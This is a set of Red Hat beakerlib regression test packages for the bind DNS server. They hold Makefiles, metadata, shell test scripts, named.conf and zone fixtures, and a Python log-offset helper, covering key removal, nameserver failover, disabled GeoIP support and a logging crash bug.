export TEST=/CoreOS/bind/Regression/bz1595824-Revoke-named-iscdlv-key
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Ondrej Mejzlik <omejzlik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1595824 (Revoke named.iscdlv.key)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1595824" >> $(METADATA)
@echo "Releases: -RHEL4 -RHEL6 -RHELClient5 -RHELServer5 -RHEL7" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1595824-Revoke-named-iscdlv-key
Description: Test for BZ#1595824 (Revoke named.iscdlv.key)
Author: Ondrej Mejzlik <omejzlik@redhat.com>
Bug summary: Revoke named.iscdlv.key
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1595824

View file

@ -0,0 +1,26 @@
summary: Test for BZ#1595824 (Revoke named.iscdlv.key)
description: |
Bug summary: Revoke named.iscdlv.key
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1595824
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- NoRHEL6
- NoRHEL7
- TIPfail_infra
- TIPfail_samba
- TIPfail_systemd
- TIPpass
relevancy: |
distro = rhel-4, rhel-5, rhel-6, rhel-7: False
extra-summary: /CoreOS/bind/Regression/bz1595824-Revoke-named-iscdlv-key
extra-task: /CoreOS/bind/Regression/bz1595824-Revoke-named-iscdlv-key
extra-nitrate: TC#0575711

View file

@ -0,0 +1,63 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1595824-Revoke-named-iscdlv-key
# Description: Test for BZ#1595824 (Revoke named.iscdlv.key)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE=${PACKAGE:-bind}
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
if [ $? -ne 0 ]; then
rlDie "Package $PACKAGE not installed"
fi
rlLog "PC name: $(hostname)"
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlPhaseEnd
rlGetTestState && {
rlPhaseStartTest
rlAssertExists "/etc/named.conf"
rlAssertExists "/etc/named.root.key"
# /etc/named.iscdlv.key has been revoked and removed from the package
rlAssertNotExists "/etc/named.iscdlv.key"
rlRun "grep 'iscdlv' /etc/named.conf" 1 "iscdlv is not present in working configuration"
rlRun "grep 'named.root.key' /etc/named.conf" 0 "named.root.key is mentioned in configuration"
rlRun "grep 'iscdlv' /usr/share/doc/bind/sample/etc/named.conf" 1 "iscdlv is not present in sample configuration"
rlRun "man named | grep 'iscdlv'" 1 "iscdlv is not mentioned in manpages"
rlPhaseEnd
}
rlPhaseStartCleanup
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,65 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz160914-bind-does-not-go-on-to-second-DNS-when-first-one
# Description: Test for bz160914 (bind does not go on to second DNS when first one)
# Author: Martin Cermak <mcermak@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2010 Red Hat, Inc. All rights reserved.
#
# This copyrighted material is made available to anyone wishing
# to use, modify, copy, or redistribute it subject to the terms
# and conditions of the GNU General Public License version 2.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public
# License along with this program; if not, write to the Free
# Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
# Boston, MA 02110-1301, USA.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz160914-bind-does-not-go-on-to-second-DNS-when-first-one
export TESTVERSION=1.1
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Martin Cermak <mcermak@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for bz160914 (bind does not go on to second DNS when first one)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 15m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind-utils bind-chroot" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 160914" >> $(METADATA)
@echo "RhtsRequires: library(bind/bind-setup)" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,8 @@
PURPOSE of /CoreOS/bind/Regression/bz160914-bind-does-not-go-on-to-second-DNS-when-first-one
Description: Test for bz160914 (bind does not go on to second DNS when first one)
Author: Martin Cermak <mcermak@redhat.com>
Bug summary: bind does not go on to second DNS when first one gives "No answer"
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=160914
Fixed in RHEL5.6+

View file

@ -0,0 +1,27 @@
summary: Test for bz160914 (bind does not go on to second DNS when first one)
description: |+
Bug summary: bind does not go on to second DNS when first one gives "No answer"
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=160914
Fixed in RHEL5.6+
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind-utils
- bind-chroot
- library(bind/bind-setup)
duration: 15m
enabled: true
tag:
- TIP_fedora_pass
- TIPfail_infra
- TIPpass
- TipWaived5
- TipWaived7
- broken5.9
extra-summary: /CoreOS/bind/Regression/bz160914-bind-does-not-go-on-to-second-DNS-when-first-one
extra-task: /CoreOS/bind/Regression/bz160914-bind-does-not-go-on-to-second-DNS-when-first-one
extra-nitrate: TC#0126549

View file

@ -0,0 +1,101 @@
#!/bin/bash
# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz160914-bind-does-not-go-on-to-second-DNS-when-first-one
# Description: Test for bz160914 (bind does not go on to second DNS when first one)
# Author: Martin Cermak <mcermak@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2010 Red Hat, Inc. All rights reserved.
#
# This copyrighted material is made available to anyone wishing
# to use, modify, copy, or redistribute it subject to the terms
# and conditions of the GNU General Public License version 2.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public
# License along with this program; if not, write to the Free
# Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
# Boston, MA 02110-1301, USA.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include rhts environment
. /usr/bin/rhts-environment.sh
. /usr/lib/beakerlib/beakerlib.sh
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
NS1="ns1.redhat.com"
rlJournalStart
rlPhaseStartSetup
rlFileBackup --clean /var/named
rlFileBackup /etc/sysconfig/named
rlFileBackup /etc/named.conf
rlFileBackup --clean /etc/resolv.conf `readlink -f /etc/resolv.conf`
rlRun "TmpDir=\`mktemp -d\`" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlRun "rlImport bind/bind-setup"
#rlRun "wget --quiet http://nest.test.redhat.com/mnt/qa/scratch/mcermak/bind-setup.tar.gz && tar xvzf bind-setup.tar.gz > /dev/null && . bind-setup/bind-setup.sh" 0 "Imported bind-setup functions."
rlGetTestState && {
bsBindSetupStart "" "chrootoff"
bsRemoveConfSetting "recursion.*yes"
bsSetUserOptions "recursion no;"
bsBindSetupDone
}
rlPhaseEnd
rlGetTestState && {
rlPhaseStartTest
rlRun "RHNS=`bsGetDefaultNameServer`"
rlRun "nslookup $NS1 127.0.0.1 &> nslookup_localhost.txt" 0,1
rlRun "nslookup $NS1 $RHNS &> nslookup_rhns.txt"
rlRun "nslookup $NS1 &> nslookup_test1.txt"
if rlIsRHEL 3 || rlIsRHEL 4 || rlIsRHEL 5; then
rlRun "grep -q 'No answer' nslookup_localhost.txt" 0
else
rlRun "grep -q 'REFUSED' nslookup_localhost.txt" 0
fi
rlRun "grep -q 'No answer' nslookup_rhns.txt" 1
rlRun "grep -q 'No answer' nslookup_test1.txt" 1
rlRun "echo 'nameserver 127.0.0.1' > /etc/resolv.conf"
rlRun "echo 'nameserver $RHNS' >> /etc/resolv.conf"
rlRun "cat /etc/resolv.conf"
rlRun "nslookup $NS1 &> nslookup_test2.txt"
#bz756458 on rhel5 bug CLOSED WONTFIX
if ! rlIsRHEL 5 ; then
rlRun "grep -q 'No answer' nslookup_test2.txt" 1
rlRun "grep -q 'trying next server' nslookup_test2.txt" 0
fi
rlRun "echo 'nameserver $RHNS' > /etc/resolv.conf"
rlRun "echo 'nameserver 127.0.0.1' >> /etc/resolv.conf"
rlRun "cat /etc/resolv.conf"
rlRun "nslookup $NS1 &> nslookup_test3.txt"
rlRun "grep -q 'No answer' nslookup_test3.txt" 1
rlRun "grep -q 'trying next server' nslookup_test3.txt" 1
rlPhaseEnd
}
rlPhaseStartCleanup
rlBundleLogs "TEST_LOGS" "nslookup_localhost.txt" "nslookup_rhns.txt" "nslookup_test1.txt" "nslookup_test2.txt" "nslookup_test3.txt"
bsBindSetupCleanup
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1609856-bind-disable-GeoIP-support
# Description: Test for BZ#1609856 (bind disable GeoIP support)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1609856-bind-disable-GeoIP-support
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE named.conf
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Ondrej Mejzlik <omejzlik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1609856 (bind disable GeoIP support)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind yum-utils" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1609856" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5 -RHEL6" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1609856-bind-disable-GeoIP-support
Description: Test for BZ#1609856 (bind disable GeoIP support)
Author: Ondrej Mejzlik <omejzlik@redhat.com>
Bug summary: bind: disable GeoIP support
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1609856

View file

@ -0,0 +1,24 @@
summary: Test for BZ#1609856 (bind disable GeoIP support)
description: |
Bug summary: bind: disable GeoIP support
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1609856
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- yum-utils
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- NoRHEL6
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4, rhel-5, rhel-6, rhel-7: False
extra-summary: /CoreOS/bind/Regression/bz1609856-bind-disable-GeoIP-support
extra-task: /CoreOS/bind/Regression/bz1609856-bind-disable-GeoIP-support
extra-nitrate: TC#0575394

View file

@ -0,0 +1,35 @@
options {
geoip-directory "/path/to/geoip/database";
listen-on port 53 { 127.0.0.1; };
listen-on-v6 port 53 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
secroots-file "/var/named/data/named.secroots";
recursing-file "/var/named/data/named.recursing";
allow-query { localhost; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
managed-keys-directory "/var/named/dynamic";
pid-file "/run/named/named.pid";
session-keyfile "/run/named/session.key";
include "/etc/crypto-policies/back-ends/bind.config";
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};
zone "." IN {
type hint;
file "named.ca";
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

View file

@ -0,0 +1,69 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1609856-bind-disable-GeoIP-support
# Description: Test for BZ#1609856 (bind disable GeoIP support)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE=${PACKAGE:-bind}
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
if [ $? -ne 0 ]; then
rlDie "Package $PACKAGE not installed"
fi
TESTDIR=$(pwd)
rlRun "rlFileBackup /etc/named.conf" 0 "Backing up /etc/named.conf"
rlLog "PC name: $(hostname) User: $(whoami)"
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlPhaseEnd
rlGetTestState && {
rlPhaseStartTest CheckRequirements
# Systems may provide more versions, we need only the installed bind version.
rlRun "repoquery --requires $(rpm -q bind) | grep -i 'libGeoIP'" 1 "Geoip library is not in requirements"
rlPhaseEnd
rlPhaseStartTest RunWithGeoIP
rlRun "rlServiceStart named" 0 "Named should start with default config"
rlRun "cp -f $TESTDIR/named.conf /etc/named.conf" 0 "Put geoip option into config"
rlRun "rlServiceStart named" 1 "Named should NOT start with geoip"
rlRun "systemctl status named | grep \"option .geoip-directory. was not enabled at compile time\"" 0 "Log reports geoip disabled"
rlPhaseEnd
}
rlPhaseStartCleanup
rlRun "rlFileRestore" 0 "Restoring /etc/named.conf"
rlLog "Restoring original named state"
rlServiceRestore
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1647539-bind-crashes-with-assertion-error-if-log-message
# Description: Test for BZ#1647539 (bind crashes with assertion error if log message)
# Author: Petr Mensik <pemensik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1647539-bind-crashes-with-assertion-error-if-log-message
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE named.hints named.conf named-recursive.conf root.db edu-servers.net.db dsset-edu. find-offsets.py
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Mensik <pemensik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1647539 (bind crashes with assertion error if log message)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-utils rng-tools procps-ng" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1647539" >> $(METADATA)
@echo "Releases: RHEL7 RHEL8" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1647539-bind-crashes-with-assertion-error-if-log-message
Description: Test for BZ#1647539 (bind crashes with assertion error if log message)
Author: Petr Mensik <pemensik@redhat.com>
Bug summary: bind crashes with assertion error if log message requires comment ';' at buffer+1024
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1647539

View file

@ -0,0 +1 @@
edu. IN DS 28065 8 2 4172496CDE85534E51129040355BD04B1FCFEBAE996DFDDE652006F6F8B2CE76

View file

@ -0,0 +1,36 @@
$TTL 172800
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
IN NS ns.
a.edu-servers.net. 172800 IN A 192.5.6.30
a.edu-servers.net. 172800 IN AAAA 2001:503:a83e::2:30
b.edu-servers.net. 172800 IN A 192.33.14.30
b.edu-servers.net. 172800 IN AAAA 2001:503:231d::2:30
c.edu-servers.net. 172800 IN A 192.26.92.30
c.edu-servers.net. 172800 IN AAAA 2001:503:83eb::30
d.edu-servers.net. 172800 IN A 192.31.80.30
d.edu-servers.net. 172800 IN AAAA 2001:500:856e::30
e.edu-servers.net. 172800 IN A 192.12.94.30
e.edu-servers.net. 172800 IN AAAA 2001:502:1ca1::30
f.edu-servers.net. 172800 IN A 192.35.51.30
f.edu-servers.net. 172800 IN AAAA 2001:503:d414::30
g.edu-servers.net. 172800 IN A 192.42.93.30
g.edu-servers.net. 172800 IN AAAA 2001:503:eea3::30
h.edu-servers.net. 172800 IN A 192.54.112.30
h.edu-servers.net. 172800 IN AAAA 2001:502:8cc::30
i.edu-servers.net. 172800 IN A 192.43.172.30
i.edu-servers.net. 172800 IN AAAA 2001:503:39c1::30
j.edu-servers.net. 172800 IN A 192.48.79.30
j.edu-servers.net. 172800 IN AAAA 2001:502:7094::30
k.edu-servers.net. 172800 IN A 192.52.178.30
k.edu-servers.net. 172800 IN AAAA 2001:503:d2d::30
l.edu-servers.net. 172800 IN A 192.41.162.30
l.edu-servers.net. 172800 IN AAAA 2001:500:d937::30
m.edu-servers.net. 172800 IN A 192.55.83.30
m.edu-servers.net. 172800 IN AAAA 2001:501:b1f9::30

View file

@ -0,0 +1,70 @@
#!/usr/bin/python3
import re
import sys
path = "test.run"
verbose = False
class OffsetCounter:
def __init__(self):
self.offset = 0
self.re_record = re.compile("^;[^; \t]")
self.emptyline = False
self.found = {}
def addLine(self, line):
if self.emptyline and line.rstrip() == '':
return False
else:
if line.rstrip() == '':
self.emptyline = True
elif self.re_record.match(line):
if verbose:
print('{0:6}: {1}'.format(self.offset, line),)
self.found[self.offset] = line
self.offset = self.offset + len(line)
return True
if len(sys.argv)>1:
path = sys.argv[1]
lines = {}
with open(path, "r") as f:
counter = None
for line in f:
if line.startswith('received packet:'):
if verbose:
print("New Message")
counter = OffsetCounter()
elif counter != None:
if not counter.addLine(line):
lines.update(counter.found)
counter = None
if verbose:
print("End message")
def printLine(k, data=lines, prefix=''):
print('{0}{1:6} {2}'.format(prefix, k, lines[k]),)
print("Found offsets")
prev = None
start = None
for k in sorted(lines.keys()):
if prev==None or prev != k-1:
if start != None and False:
if True:
print('Range: {0}-{1}'.format(start, k))
else:
printLine(start, lines, 'started at ')
printLine(k, lines, 'ended at ')
start = k
if verbose:
printLine(k, lines)
else:
prev = k
print('{0:5d}'.format(k))
prev = k

View file

@ -0,0 +1,25 @@
summary: Test for BZ#1647539 (bind crashes with assertion error if log message)
description: |
Bug summary: bind crashes with assertion error if log message requires comment ';' at buffer+1024
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1647539
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-utils
- rng-tools
- procps-ng
duration: 5m
enabled: true
tag:
- RHEL7
- TIPfail
- TIPfail_infra
- noExpectedness
relevancy: |
distro != rhel-7, rhel-8: False
extra-summary: /CoreOS/bind/Regression/bz1647539-bind-crashes-with-assertion-error-if-log-message
extra-task: /CoreOS/bind/Regression/bz1647539-bind-crashes-with-assertion-error-if-log-message
extra-nitrate: TC#0590331

View file

@ -0,0 +1,23 @@
options {
listen-on port 53333 { 127.0.0.1; };
listen-on-v6 port 53333 { none; };
allow-query { any; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
pid-file "named-recursive.pid";
};
logging {
channel default_debug {
file "named-recursive.run";
severity dynamic;
};
};
zone "." IN {
type hint;
file "named.hints";
};
include "root.conf";

View file

@ -0,0 +1,30 @@
options {
listen-on port 53 { 127.0.0.1; };
listen-on-v6 { none; };
pid-file "named.pid";
dnssec-enable yes;
dnssec-validation no;
recursion no;
edns-udp-size 1450;
};
logging {
channel default_debug {
file "named-authoritative.run";
severity dynamic;
};
};
zone "." IN {
type master;
file "root.db.signed";
};
zone "edu-servers.net" IN {
type master;
file "edu-servers.net.db";
};
include "root.conf";

View file

@ -0,0 +1,2 @@
. 518400 IN NS localhost
localhost 518400 IN A 127.0.0.1

View file

@ -0,0 +1,71 @@
$TTL 3H
@ IN SOA @ nobody.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS ns
ns A 127.0.0.1
very-long-01234567890123456789012345678901234567.test NS ns
edu. 172800 IN NS b.edu-servers.net.
edu. 172800 IN NS h.edu-servers.net.
edu. 172800 IN NS m.edu-servers.net.
edu. 172800 IN NS d.edu-servers.net.
edu. 172800 IN NS i.edu-servers.net.
edu. 172800 IN NS a.edu-servers.net.
edu. 172800 IN NS f.edu-servers.net.
edu. 172800 IN NS j.edu-servers.net.
edu. 172800 IN NS g.edu-servers.net.
edu. 172800 IN NS c.edu-servers.net.
edu. 172800 IN NS k.edu-servers.net.
edu. 172800 IN NS l.edu-servers.net.
edu. 172800 IN NS e.edu-servers.net.
edu. 86400 IN DS 28065 8 2 (
4172496CDE85534E51129040355BD04B1FCFEBAE996D
FDDE652006F6F8B2CE76 )
edu. 86400 IN RRSIG DS 8 1 86400 (
20181226050000 20181213040000 2134 .
ID4PDAwKlKweBtFfSdWr/Nh908QIZSjxobThVGII+FPd
rGZlOyMeas/e3fkWhvzDNRySdosPAFG8yKMUhXM25FEf
BweGvHAWJqN7Ky++oNUtDsmKSIVOytY/EnoH2gU+qqpa
k8G7B8YW8MDhynfEY9ISh/pWbSvs+PvHBz0G+08LbTES
xfxMZnRDgjrSLsiRo+cRGpHuv/byE9PX/+nAgomqoY1E
QQGy8DJvNEmC7O8Z3lOhhkaFst54k4fjtf7422P6kh1o
rPOt15mSkkwA2Zs8+2gzT5ku15D6oLo+O4EXS71QXaI6
O8tBW+3qrNLBBC6KDzViky46wzto7IdmdQ== )
;; ADDITIONAL SECTION:
; These need to be unsigned, leave in separate unsigned zone
edu-servers.net. 172800 IN NS ns
; a.edu-servers.net. 172800 IN A 192.5.6.30
; b.edu-servers.net. 172800 IN A 192.33.14.30
; c.edu-servers.net. 172800 IN A 192.26.92.30
; d.edu-servers.net. 172800 IN A 192.31.80.30
; e.edu-servers.net. 172800 IN A 192.12.94.30
; f.edu-servers.net. 172800 IN A 192.35.51.30
; g.edu-servers.net. 172800 IN A 192.42.93.30
; h.edu-servers.net. 172800 IN A 192.54.112.30
; i.edu-servers.net. 172800 IN A 192.43.172.30
; j.edu-servers.net. 172800 IN A 192.48.79.30
; k.edu-servers.net. 172800 IN A 192.52.178.30
; l.edu-servers.net. 172800 IN A 192.41.162.30
; m.edu-servers.net. 172800 IN A 192.55.83.30
; a.edu-servers.net. 172800 IN AAAA 2001:503:a83e::2:30
; b.edu-servers.net. 172800 IN AAAA 2001:503:231d::2:30
; c.edu-servers.net. 172800 IN AAAA 2001:503:83eb::30
